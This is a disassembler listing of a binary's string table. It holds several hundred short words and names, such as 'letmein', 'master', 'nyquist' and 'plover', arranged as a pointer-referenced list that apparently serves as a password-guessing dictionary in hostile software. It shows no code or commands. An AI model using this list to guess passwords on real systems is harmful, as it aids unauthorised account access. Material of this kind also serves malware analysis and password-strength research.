aPrivate	db 'private',0          ; DATA XREF: ___:004301E4o
aPriv		db 'priv',0             ; DATA XREF: ___:004301E0o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: ___:004301DCo
aPrinceto	db 'princeto',0         ; DATA XREF: ___:004301D8o
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:004301D4o
		align 4
aPresto		db 'presto',0           ; DATA XREF: ___:004301D0o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:004301CCo
aPrecious	db 'precious',0         ; DATA XREF: ___:004301C8o
		align 10h
aPraise		db 'praise',0           ; DATA XREF: ___:004301C4o
		align 4
aPower		db 'power',0            ; DATA XREF: ___:004301C0o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: ___:004301BCo
		align 4
aPost		db 'post',0             ; DATA XREF: ___:004301B8o
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: ___:004301B4o
aPorno		db 'porno',0            ; DATA XREF: ___:004301B0o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: ___:004301ACo
		align 4
aPork		db 'pork',0             ; DATA XREF: ___:004301A8o
		align 10h
aPoor		db 'poor',0             ; DATA XREF: ___:004301A4o
		align 4
aPoop		db 'poop',0             ; DATA XREF: ___:004301A0o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: ___:0043019Co
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: ___:00430198o
		align 4
aPolly		db 'polly',0            ; DATA XREF: ___:00430194o
		align 10h
aPolice		db 'police',0           ; DATA XREF: ___:00430190o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: ___:0043018Co
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: ___:00430188o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: ___:00430184o
		align 4
aPlover		db 'plover',0           ; DATA XREF: ___:00430180o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: ___:0043017Co
aPlane		db 'plane',0            ; DATA XREF: ___:00430178o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: ___:00430174o
		align 4
aPiss		db 'piss',0             ; DATA XREF: ___:00430170o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: ___:0043016Co
aPimp		db 'pimp',0             ; DATA XREF: ___:00430168o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: ___:00430164o
		align 4
aPick		db 'pick',0             ; DATA XREF: ___:00430160o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: ___:0043015Co
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: ___:00430158o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: ___:00430154o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: ___:00430150o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: ___:0043014Co
		align 4
aPhone		db 'phone',0            ; DATA XREF: ___:00430148o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: ___:00430144o
aPhilip		db 'philip',0           ; DATA XREF: ___:00430140o
		align 4
aPhil		db 'phil',0             ; DATA XREF: ___:0043013Co
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:00430138o
		align 4
aPete		db 'pete',0             ; DATA XREF: ___:00430134o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: ___:00430130o
aPersona	db 'persona',0          ; DATA XREF: ___:0043012Co
aPersimmo	db 'persimmo',0         ; DATA XREF: ___:00430128o
		align 10h
aPermit		db 'permit',0           ; DATA XREF: ___:00430124o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: ___:00430120o
aPercolat	db 'percolat',0         ; DATA XREF: ___:0043011Co
		align 4
aPepper		db 'pepper',0           ; DATA XREF: ___:00430118o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: ___:00430114o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: ___:00430110o
aPenthous	db 'penthous',0         ; DATA XREF: ___:0043010Co
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: ___:00430108o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: ___:00430104o
		align 4
aPenname	db 'penname',0          ; DATA XREF: ___:00430100o
aPenis		db 'penis',0            ; DATA XREF: ___:004300FCo
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: ___:004300F8o
aPenelope	db 'penelope',0         ; DATA XREF: ___:004300F4o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: ___:004300F0o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: ___:004300ECo
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:004300E8o
aPaula		db 'paula',0            ; DATA XREF: ___:004300E4o
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:004300E0o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: ___:004300DCo
aPatricia	db 'patricia',0         ; DATA XREF: ___:004300D8o
		align 4
aPaste		db 'paste',0            ; DATA XREF: ___:004300D4o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: ___:004300D0o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:004300CCo
		align 4
aPapers		db 'papers',0           ; DATA XREF: ___:004300C8o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:004300C4o
		align 4
aPapa		db 'papa',0             ; DATA XREF: ___:004300C0o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:004300BCo
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: ___:004300B8o
		align 10h
aPaint		db 'paint',0            ; DATA XREF: ___:004300B4o
		align 4
aPainless	db 'painless',0         ; DATA XREF: ___:004300B0o
		align 4
aPacker		db 'packer',0           ; DATA XREF: ___:004300ACo
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:004300A8o
aPacific	db 'pacific',0          ; DATA XREF: ___:004300A4o
aOxford		db 'oxford',0           ; DATA XREF: ___:004300A0o
		align 4
aOutside	db 'outside',0          ; DATA XREF: ___:0043009Co
aOutput		db 'output',0           ; DATA XREF: ___:00430098o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:00430094o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:00430090o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: ___:0043008Co
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: ___:00430088o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: ___:00430084o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: ___:00430080o
		align 4
aOrca		db 'orca',0             ; DATA XREF: ___:0043007Co
		align 10h
aOperator	db 'operator',0         ; DATA XREF: ___:00430078o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:00430074o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: ___:00430070o
		align 4
aOpening	db 'opening',0          ; DATA XREF: ___:0043006Co
aOmega		db 'omega',0            ; DATA XREF: ___:00430064o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: ___:00430060o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:off_43005Co
		align 4
aOldage		db 'oldage',0           ; DATA XREF: ___:00430058o
		align 10h
aOkay		db 'okay',0             ; DATA XREF: ___:00430054o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:off_430050o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: ___:0043004Co
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:00430048o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: ___:00430044o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: ___:00430040o
aNuts		db 'nuts',0             ; DATA XREF: ___:0043003Co
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: ___:00430038o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:00430034o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00430030o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:0043002Co
		align 4
aNuke		db 'nuke',0             ; DATA XREF: ___:00430028o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:00430024o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: ___:00430020o
aNoxious	db 'noxious',0          ; DATA XREF: ___:0043001Co
aNovember	db 'november',0         ; DATA XREF: ___:00430018o
		align 10h
aNovel		db 'novel',0            ; DATA XREF: ___:00430014o
		align 4
aNova		db 'nova',0             ; DATA XREF: ___:00430010o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: ___:0043000Co
		align 4
aNotes		db 'notes',0            ; DATA XREF: ___:00430008o
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: ___:00430004o
		align 4
aNode		db 'node',0             ; DATA XREF: ___:00430000o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: ___:0042FFFCo
		align 4
aNoble		db 'noble',0            ; DATA XREF: ___:0042FFF8o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:0042FFF4o
		align 4
aNita		db 'nita',0             ; DATA XREF: ___:0042FFF0o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: ___:0042FFECo
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:0042FFE8o
		align 4
aNight		db 'night',0            ; DATA XREF: ___:0042FFE4o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: ___:0042FFE0o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:0042FFDCo
		align 4
aNice		db 'nice',0             ; DATA XREF: ___:0042FFD8o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:0042FFD4o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: ___:0042FFD0o
aNewton		db 'newton',0           ; DATA XREF: ___:0042FFCCo
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:0042FFC8o
		align 10h
aNews		db 'news',0             ; DATA XREF: ___:0042FFC4o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: ___:0042FFC0o
aNetwork_0	db 'network',0          ; DATA XREF: ___:0042FFBCo
aNetscape	db 'netscape',0         ; DATA XREF: ___:0042FFB8o
		align 4
aNess		db 'ness',0             ; DATA XREF: ___:0042FFB4o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:0042FFB0o
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:0042FFACo
		align 10h
aNavy		db 'navy',0             ; DATA XREF: ___:0042FFA8o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: ___:0042FFA4o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:0042FFA0o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:0042FF9Co
		align 4
aName		db 'name',0             ; DATA XREF: ___:0042FF98o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:0042FF94o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: ___:0042FF90o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:0042FF8Co
aMsdos		db 'msdos',0            ; DATA XREF: ___:0042FF88o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:0042FF84o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: ___:0042FF80o
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:0042FF7Co
		align 4
aMovie		db 'movie',0            ; DATA XREF: ___:0042FF78o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:0042FF74o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: ___:0042FF70o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:0042FF6Co
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: ___:0042FF68o
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: ___:0042FF64o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:0042FF60o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: ___:0042FF5Co
		align 10h
aMorris		db 'morris',0           ; DATA XREF: ___:0042FF58o
		align 4
aMorley		db 'morley',0           ; DATA XREF: ___:0042FF54o
		align 10h
aMore		db 'more',0             ; DATA XREF: ___:0042FF50o
		align 4
aMoose		db 'moose',0            ; DATA XREF: ___:0042FF4Co
		align 10h
aMoor		db 'moor',0             ; DATA XREF: ___:0042FF48o
		align 4
aMoom		db 'moom',0             ; DATA XREF: ___:0042FF44o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: ___:0042FF40o
		align 4
aMonday		db 'monday',0           ; DATA XREF: ___:0042FF3Co
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: ___:0042FF38o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: ___:0042FF34o
		align 10h
aModem		db 'modem',0            ; DATA XREF: ___:0042FF30o
		align 4
aMode		db 'mode',0             ; DATA XREF: ___:0042FF2Co
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: ___:0042FF28o
		align 4
aMission	db 'mission',0          ; DATA XREF: ___:0042FF24o
aMisfit		db 'misfit',0           ; DATA XREF: ___:0042FF20o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: ___:0042FF1Co
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: ___:0042FF18o
aMine		db 'mine',0             ; DATA XREF: ___:0042FF14o
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:0042FF10o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: ___:0042FF0Co
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: ___:0042FF08o
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: ___:0042FF04o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:0042FF00o
		align 4
aMicro		db 'micro',0            ; DATA XREF: ___:0042FEFCo
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: ___:0042FEF8o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: ___:0042FEF4o
		align 4
aMichele	db 'michele',0          ; DATA XREF: ___:0042FEF0o
aMichelan	db 'michelan',0         ; DATA XREF: ___:0042FEECo
		align 4
aMichel		db 'michel',0           ; DATA XREF: ___:0042FEE8o
		align 10h
aMichael	db 'michael',0          ; DATA XREF: ___:0042FEE4o
aMice		db 'mice',0             ; DATA XREF: ___:0042FEE0o
		align 10h
aMets		db 'mets',0             ; DATA XREF: ___:0042FEDCo
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: ___:0042FED8o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:0042FED4o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: ___:0042FED0o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: ___:0042FECCo
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: ___:0042FEC8o
aMenu		db 'menu',0             ; DATA XREF: ___:0042FEC4o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: ___:0042FEC0o
		align 4
aMemory		db 'memory',0           ; DATA XREF: ___:0042FEBCo
		align 10h
aMember		db 'member',0           ; DATA XREF: ___:0042FEB8o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: ___:0042FEB4o
aMellon		db 'mellon',0           ; DATA XREF: ___:0042FEB0o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: ___:0042FEACo
aMegan		db 'megan',0            ; DATA XREF: ___:0042FEA8o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:0042FEA4o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:0042FEA0o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: ___:0042FE9Co
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: ___:0042FE98o
aMath		db 'math',0             ; DATA XREF: ___:0042FE94o
		align 4
aMaster		db 'master',0           ; DATA XREF: ___:0042FE90o
		align 10h
aMason		db 'mason',0            ; DATA XREF: ___:0042FE8Co
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:0042FE88o
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: ___:0042FE84o
		align 4
aMarty		db 'marty',0            ; DATA XREF: ___:0042FE80o
		align 10h
aMars		db 'mars',0             ; DATA XREF: ___:0042FE7Co
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: ___:0042FE78o
		align 4
aMarni		db 'marni',0            ; DATA XREF: ___:0042FE74o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: ___:0042FE70o
		align 4
aMark		db 'mark',0             ; DATA XREF: ___:0042FE6Co
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:0042FE68o
aMarijuan	db 'marijuan',0         ; DATA XREF: ___:0042FE64o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: ___:0042FE60o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: ___:0042FE5Co
aMaria		db 'maria',0            ; DATA XREF: ___:0042FE58o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: ___:0042FE54o
		align 4
aMarci		db 'marci',0            ; DATA XREF: ___:0042FE50o
		align 4
aMara		db 'mara',0             ; DATA XREF: ___:0042FE4Co
		align 4
aManager	db 'manager',0          ; DATA XREF: ___:0042FE48o
aMana		db 'mana',0             ; DATA XREF: ___:0042FE44o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: ___:0042FE40o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:0042FE3Co
aMaint		db 'maint',0            ; DATA XREF: ___:0042FE38o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:0042FE34o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: ___:0042FE30o
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:0042FE2Co
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: ___:0042FE28o
		align 4
aMacro		db 'macro',0            ; DATA XREF: ___:0042FE24o
		align 4
aMack		db 'mack',0             ; DATA XREF: ___:0042FE20o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: ___:0042FE1Co
		align 4
aMachine	db 'machine',0          ; DATA XREF: ___:0042FE18o
aLynne		db 'lynne',0            ; DATA XREF: ___:0042FE14o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: ___:0042FE10o
		align 10h
aLust		db 'lust',0             ; DATA XREF: ___:0042FE0Co
		align 4
aLuke		db 'luke',0             ; DATA XREF: ___:0042FE08o
		align 10h
aLude		db 'lude',0             ; DATA XREF: ___:0042FE04o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: ___:0042FE00o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: ___:0042FDFCo
		align 4
aLuck		db 'luck',0             ; DATA XREF: ___:0042FDF8o
		align 10h
aLover		db 'lover',0            ; DATA XREF: ___:0042FDF4o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: ___:0042FDF0o
aLouis		db 'louis',0            ; DATA XREF: ___:0042FDECo
		align 4
aLoser		db 'loser',0            ; DATA XREF: ___:0042FDE8o
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: ___:0042FDE4o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: ___:0042FDE0o
		align 4
aLori		db 'lori',0             ; DATA XREF: ___:0042FDDCo
		align 4
aLore		db 'lore',0             ; DATA XREF: ___:0042FDD8o
		align 4
aLoose		db 'loose',0            ; DATA XREF: ___:0042FDD4o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: ___:0042FDD0o
		align 4
aLois		db 'lois',0             ; DATA XREF: ___:0042FDCCo
		align 4
aLogout		db 'logout',0           ; DATA XREF: ___:0042FDC8o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: ___:0042FDC4o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: ___:0042FDC0o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: ___:0042FDBCo
		align 4
aLockout	db 'lockout',0          ; DATA XREF: ___:0042FDB8o
aLock		db 'lock',0             ; DATA XREF: ___:0042FDB4o
		align 4
aLoad		db 'load',0             ; DATA XREF: ___:0042FDB0o
		align 4
aLive		db 'live',0             ; DATA XREF: ___:0042FDACo
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: ___:0042FDA8o
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: ___:0042FDA4o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: ___:0042FDA0o
		align 10h
aLips		db 'lips',0             ; DATA XREF: ___:0042FD9Co
		align 4
aLion		db 'lion',0             ; DATA XREF: ___:0042FD98o
		align 10h
aLink		db 'link',0             ; DATA XREF: ___:0042FD94o
		align 4
aLinda		db 'linda',0            ; DATA XREF: ___:0042FD90o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: ___:0042FD8Co
aLimbaugh	db 'limbaugh',0         ; DATA XREF: ___:0042FD88o
		align 4
aLima		db 'lima',0             ; DATA XREF: ___:0042FD84o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: ___:0042FD80o
		align 4
aLight		db 'light',0            ; DATA XREF: ___:0042FD7Co
		align 10h
aLife		db 'life',0             ; DATA XREF: ___:0042FD78o
		align 4
aLicker		db 'licker',0           ; DATA XREF: ___:0042FD74o
		align 10h
aLick		db 'lick',0             ; DATA XREF: ___:0042FD70o
		align 4
aLibrary	db 'library',0          ; DATA XREF: ___:0042FD6Co
aLiberal	db 'liberal',0          ; DATA XREF: ___:0042FD68o
aLexluthe	db 'lexluthe',0         ; DATA XREF: ___:0042FD64o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: ___:0042FD60o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: ___:0042FD5Co
aLeslie		db 'leslie',0           ; DATA XREF: ___:0042FD58o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: ___:0042FD54o
aLeroy		db 'leroy',0            ; DATA XREF: ___:0042FD50o
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:0042FD4Co
		align 4
aLegal		db 'legal',0            ; DATA XREF: ___:0042FD48o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:0042FD44o
		align 4
aLeft		db 'left',0             ; DATA XREF: ___:0042FD40o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:0042FD3Co
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:0042FD38o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: ___:0042FD34o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:0042FD30o
aLava		db 'lava',0             ; DATA XREF: ___:0042FD2Co
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:0042FD28o
		align 4
aLaser		db 'laser',0            ; DATA XREF: ___:0042FD24o
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:0042FD20o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: ___:0042FD1Co
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:0042FD18o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: ___:0042FD14o
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:0042FD10o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: ___:0042FD0Co
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: ___:0042FD08o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: ___:0042FD04o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: ___:0042FD00o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: ___:0042FCFCo
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: ___:0042FCF8o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: ___:0042FCF4o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: ___:0042FCF0o
aKristie	db 'kristie',0          ; DATA XREF: ___:0042FCECo
aKristi		db 'kristi',0           ; DATA XREF: ___:0042FCE8o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:0042FCE4o
aKrista		db 'krista',0           ; DATA XREF: ___:0042FCE0o
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:0042FCDCo
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: ___:0042FCD8o
		align 10h
aKnight		db 'knight',0           ; DATA XREF: ___:0042FCD4o
		align 4
aKnife		db 'knife',0            ; DATA XREF: ___:0042FCD0o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: ___:0042FCCCo
aKitten		db 'kitten',0           ; DATA XREF: ___:0042FCC8o
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:0042FCC4o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:0042FCC0o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: ___:0042FCBCo
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: ___:0042FCB8o
		align 4
aKing		db 'king',0             ; DATA XREF: ___:0042FCB4o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: ___:0042FCB0o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:0042FCACo
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: ___:0042FCA8o
		align 10h
aKill		db 'kill',0             ; DATA XREF: ___:0042FCA4o
		align 4
aKids		db 'kids',0             ; DATA XREF: ___:0042FCA0o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: ___:0042FC9Co
aKeyin		db 'keyin',0            ; DATA XREF: ___:0042FC98o
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: ___:0042FC94o
aKewl		db 'kewl',0             ; DATA XREF: ___:0042FC90o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: ___:0042FC8Co
		align 4
aKerry		db 'kerry',0            ; DATA XREF: ___:0042FC88o
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: ___:0042FC84o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: ___:0042FC80o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: ___:0042FC7Co
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:0042FC78o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: ___:0042FC74o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: ___:0042FC70o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: ___:0042FC6Co
aKatina		db 'katina',0           ; DATA XREF: ___:0042FC68o
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: ___:0042FC64o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: ___:0042FC60o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: ___:0042FC5Co
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:0042FC58o
		align 4
aKatana		db 'katana',0           ; DATA XREF: ___:0042FC54o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: ___:0042FC50o
		align 4
aKarie		db 'karie',0            ; DATA XREF: ___:0042FC4Co
		align 10h
aKaren		db 'karen',0            ; DATA XREF: ___:0042FC48o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: ___:0042FC44o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: ___:0042FC40o
aJune		db 'june',0             ; DATA XREF: ___:0042FC3Co
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: ___:0042FC38o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:0042FC34o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: ___:0042FC30o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:0042FC2Co
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: ___:0042FC28o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:0042FC24o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: ___:0042FC20o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:0042FC1Co
		align 10h
aJournal	db 'journal',0          ; DATA XREF: ___:0042FC18o
aJoshua		db 'joshua',0           ; DATA XREF: ___:0042FC14o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: ___:0042FC10o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:0042FC0Co
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:0042FC08o
aJohn		db 'john',0             ; DATA XREF: ___:0042FC04o
		align 10h
aJody		db 'jody',0             ; DATA XREF: ___:0042FC00o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:0042FBFCo
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: ___:0042FBF8o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:0042FBF4o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: ___:0042FBF0o
aJester		db 'jester',0           ; DATA XREF: ___:0042FBECo
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: ___:0042FBE8o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:0042FBE4o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: ___:0042FBE0o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:0042FBDCo
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: ___:0042FBD8o
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: ___:0042FBD4o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:0042FBD0o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: ___:0042FBCCo
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:0042FBC8o
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: ___:0042FBC4o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:0042FBC0o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: ___:0042FBBCo
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:0042FBB8o
		align 10h
aJanie		db 'janie',0            ; DATA XREF: ___:0042FBB4o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:0042FBB0o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: ___:0042FBACo
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:0042FBA8o
		align 10h
aJail		db 'jail',0             ; DATA XREF: ___:0042FBA4o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:0042FBA0o
		align 10h
